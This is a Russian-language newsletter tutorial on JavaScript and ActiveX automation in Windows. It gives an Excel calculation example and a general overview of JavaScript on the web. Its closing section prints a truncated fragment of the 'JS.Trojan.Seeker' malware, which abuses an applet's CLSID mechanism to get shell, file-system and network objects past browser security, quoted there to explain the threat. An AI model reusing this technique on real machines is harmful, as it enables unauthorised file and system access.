Использование JavaScript в роли пакетных файлов в среде Windows
безусловно весьма полезная вещь. Особенно широкие возможности таких файлов
открываются при использовании механизма OLE или интерфейса Automation. Не
вдаваясь в технические подробности его принцип действия можно пояснить так:
современные методы создания программ под Windows позволяют создавать
приложения, которые могут работать в памяти компьютера как своеобразный
сервис, или "сервер". Программа "клиент" может обращаться к свойствам данного
сервера и пользоваться его методами, получая результат через специальные
переменные.
Чтобы задействовать этот принцип в JavaScript, необходимо создать в
памяти объект ActivX как переменную:
newObj = new ActiveXObject(servername.typename[, location])
Далее, используя созданную переменную newObj, можно использовать в своем
сценарии возможности той программы, которую мы используем в качестве сервера.
Например, cделать расчеты, пользуясь мощью табличного процессора Excel.
Маленький и очень простой пример - умножим 7 на 8, используя Excel:
// создаем объект - рабочую книгу Ecxel
ExcelSheet = new ActiveXObject("Excel.Sheet");
// Разместим числа в чейки.
ExcelSheet.ActiveSheet.Cells(1,1).Value = "7";
ExcelSheet.ActiveSheet.Cells(1,2).Value = "8";
// Запишем формулу
ExcelSheet.ActiveSheet.Cells(1,3).Value = "=A1*B1";
// Получим результат:
var ResX;
ResX = ExcelSheet.ActiveSheet.Cells(1,3).Value;
// выведем его на экран:
var WSHShell = WScript.CreateObject("WScript.Shell");
WSHShell.popup ("Произведение равно: " + ResX);
// Используя метод Quit закроем приложение Excel.
ExcelSheet.Application.Quit();
Используя этот принцип можно проводить сложнейшие расчеты.
Дополнительную информацию по созданию объктов ActiveXObject вы можете
посмотреть в базе
http://www.b-soft.ru/scripting/
Обратимся к использованию JavaScript в Web. Он идеально подходит для
того, чтобы на скорую руку наделять Web-узел новыми возможностями. Когда
основа заработает, можно думать и о создании полноценных приложений.
Для языка высокого уровня JavaScript обладает довольно сильными
возможностями. Он не позволяет работать на уровне машинных кодов, однако вы
получаете доступ ко многим возможностям броузеров, Web-страниц, а иногда и
системы, в которой работает броузер. В отличие от Java или С, программы на
JavaScript обходятся без компиляции, а вашему броузеру не придется загружать
виртуальную машину для выполнения программного кода. Программируй и загружай!
JavaScript также работает в объектно-ориентированной архитектуре,
напоминающей Java или С++. Такие возможности языка, как конструкторы или
наследование на базе прототипов, добавляют в схему разработки новый уровень
абстракции, что способствует многократному использованию программного кода.
В настоящее время JavaScript безусловно, является самым популярным
сценарным языком в Web. Код JavaScript встречается не в тысячах, а в
миллионах Web-страниц по всему миру. JavaScript поддерживается самыми
распространенными Web-броузерами. И Netscape, и Microsoft, занимающие львиную
долю рынка этих программ, постоянно ищут пути к расширению функциональности
языка. Следовательно, JavaScript будет поддерживаться абсолютным большинством
броузеров, используемых посетителями вашего Web-узла.
Правда я заранее должен предупредить читателей моей рассылки о том
что мы будем использовать для примеров код, протестированный только c MSIE.
Я не ставлю себе целью детально рассматривать совместимость различных типов
броузеров. Наша задача узнать, что может JavaScript, и научиться использовать
эти возможности. А что касается применения кода в конкретном броузере –
желающие могут обратиться к технической документации на нужную программу.
Мне часто задают вопросы по поводу безопасности JavaScript в связи с
использованием возможности создания объектов activeX имеющих доступ к
файловой системе. Хочу успокоить Вас - "нормальные" броузеры не позволяют
напрямую создавать со своих страниц объекты, обладающими правами доступа к
файловой системе. При попытке запустить такой код появляется всплыващее окно,
предупреждающее пользователя, что сценариий пытается создать небезопасный
объект. Дальнейшее развитие событий будет зависеть от реакции пользователя -
разрешит он или нет. При установке максимальных параметров безопасности такой
код вобще будет игнорироваться программой броузера.
Но я не зря использовал фразу "напрямую создавать". Дело в том, что
существуют некоторые обходные методы. Например, создатель интернет-вируса
"JS.Trojan.Seeker-based" использует для внедрения вируса на компьютер
пользователя механизм файлов Cookies. Под видом такого файла на компьютер
клиента отправляется сенарий JS со следующим текстом:
document.write("");
if (navigator.appName == 'Netscape') var language = navigator.language;
else var language = navigator.browserLanguage;
function AddFavLnk(loc, DispName, SiteURL) {
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f() {
try {
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
.................
Теперь, при обращении к данному файлу, система безопасности уже может дать
сбой, так как файл не в сети а на локальном диске клиента. А в сценарии под
видом апплета запускается компонент ActiveX и начинаются всякие "безобразия".